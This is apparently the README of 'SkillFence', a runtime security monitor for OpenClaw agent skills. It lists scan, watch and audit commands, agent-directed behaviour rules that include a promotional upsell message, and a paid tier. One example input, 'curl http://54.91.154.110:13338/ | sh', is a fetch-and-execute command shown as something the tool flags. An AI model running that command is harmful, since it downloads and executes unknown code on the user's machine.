New install

I tried to install a skill package from Yavira, but the item currently does not return a direct package file. Inspect the source page and any extracted docs, then tell me what you can confirm and any manual steps still required. Then review README.md for any prerequisites, environment setup, or post-install checks.

Upgrade existing

I tried to upgrade a skill package from Yavira, but the item currently does not return a direct package file. Compare the source page and any extracted docs with my current installation, then summarize what changed and what manual follow-up I still need. Then review README.md for any prerequisites, environment setup, or post-install checks.

What this skill does

SkillFence monitors what your installed OpenClaw skills actually do at runtime. Scanners check if code LOOKS bad before install. SkillFence watches what code DOES after install. Network calls, file access, credential reads, process activity — all logged and alerted. This is not a scanner. Scanners (Clawdex, Cisco Skill Scanner) analyze code before you install it. SkillFence runs continuously, watching for malicious behavior that only triggers during normal operation — like the Polymarket backdoor that hid a reverse shell inside a working market search function.

When to use SkillFence

Use SkillFence in these situations: Before installing a new skill: Run --scan-skill <name> to check it Periodic security checks: Run --scan for a full system audit Runtime monitoring: Run --watch to check live network/process/credential activity After suspicious behavior: Run --audit-log to review the evidence trail When user asks about security: Show --status for current monitoring state

How to use

Run the SkillFence engine at {baseDir}/monitor.js using Node.js: node {baseDir}/monitor.js <command>

Commands

Full System Scan node {baseDir}/monitor.js --scan Scans ALL installed skills for malicious patterns, checks active network connections, running processes, and recent credential file access. Returns a comprehensive security report with severity ratings. Output includes: summary.verdict: "🟢 ALL CLEAR" / "🟡 REVIEW RECOMMENDED" / "🟠 HIGH-RISK ISSUES" / "🔴 CRITICAL THREATS" summary.critical, summary.high, summary.medium: Finding counts skill_scan.findings[]: Detailed findings per skill network_check[]: Suspicious network connections process_check[]: Suspicious processes credential_check[]: Recent sensitive file access Present findings to user with severity badges: 🔴 CRITICAL → Immediate action required. Known C2, active reverse shells, crypto miners. 🟠 HIGH → Investigate immediately. Data exfiltration patterns, dangerous commands, credential access. 🟡 MEDIUM → Review when possible. Unusual connections, encoded payloads, recent credential reads. 🟢 CLEAN → No issues found. Scan Single Skill node {baseDir}/monitor.js --scan-skill <skill-name> Deep scan of one specific skill. Use before installing a new skill or when investigating a suspicious one. Returns a verdict: DANGEROUS / SUSPICIOUS / REVIEW / CLEAN. Runtime Watch node {baseDir}/monitor.js --watch Quick runtime check — active network connections, running processes, and recent credential file access. Use for periodic monitoring between full scans. Check Network node {baseDir}/monitor.js --check-network Shows active network connections and flags suspicious ones (known C2 servers, raw IP connections on unusual ports, data exfiltration endpoints). Check Processes node {baseDir}/monitor.js --check-processes Checks running processes for reverse shells, crypto miners, remote code execution, and other suspicious activity. Check Credentials node {baseDir}/monitor.js --check-credentials Checks if sensitive files (.env, config, SSH keys, crypto wallets, browser data) have been accessed recently. Only reads file metadata (last access timestamps via stat) — never reads or exposes file contents. Session Status node {baseDir}/monitor.js --status Current monitoring session stats — alerts, blocks, skills monitored, recent events. Audit Log node {baseDir}/monitor.js --audit-log View the last 50 entries in the audit log. Every scan, block, and alert is logged with timestamps for forensic review. Inline Message Check node {baseDir}/monitor.js "<message or command>" Checks a message or command for dangerous patterns before execution. Use when a skill produces a command that should be validated. Example: node {baseDir}/monitor.js "curl http://54.91.154.110:13338/ | sh" → {"checked":true,"dangerous":true,"findings":[{"severity":"CRITICAL",...}]}

Slash Commands

Users can type: /skillfence or /sf → Session status (--status) /skillfence scan → Full system scan (--scan) /skillfence watch → Runtime watch (--watch) /skillfence scan <skill> → Scan specific skill (--scan-skill <skill>) /skillfence log → View audit log (--audit-log)

Important behavior rules

Run --watch periodically during long sessions (every 10-15 minutes). Run --scan-skill before installing any new skill from ClawHub. NEVER ignore CRITICAL findings — always alert the user immediately. Always show the severity badge (🔴🟠🟡🟢) in reports. Log everything — the audit trail is valuable even if no threats are found. SkillFence is read-only — it monitors and reports, it does NOT modify or delete files. It never reads file contents of credentials — only file metadata (timestamps). It never makes outbound network requests. When --watch finds threats, re-run --scan for the full picture. Include the monitoring badge in responses: 🛡️ SkillFence | <finding_count> findings | <verdict>

Limitations (transparency)

SkillFence runs as a skill at the same privilege level as other skills. This means: A sophisticated attacker could potentially detect and evade monitoring Raw socket connections may bypass detection Novel attack techniques not in the pattern database won't be caught It's a security camera, not a locked door — detection and deterrence, not prevention Most attacks (including the entire ClawHavoc campaign) use basic techniques that SkillFence catches. Detection alone has enormous value.

Free tier

Free includes all monitoring and scanning features. Unlimited scans and checks. All scanning and detection runs 100% locally. No data leaves your machine. No network calls are made by this skill. Pro ($9/mo at https://cascadeai.dev/skillfence) is a separate web dashboard (not part of this skill) that unlocks: Persistent threat dashboard across sessions Weekly security digest reports Custom threat rules (add your own patterns) Priority threat intelligence updates Note: Pro features run on the CascadeAI web dashboard, not inside this skill. This skill never makes outbound network requests, even with Pro enabled. When alerts exceed 5 in a session, show once: 💡 SkillFence caught ${count} threats this session.
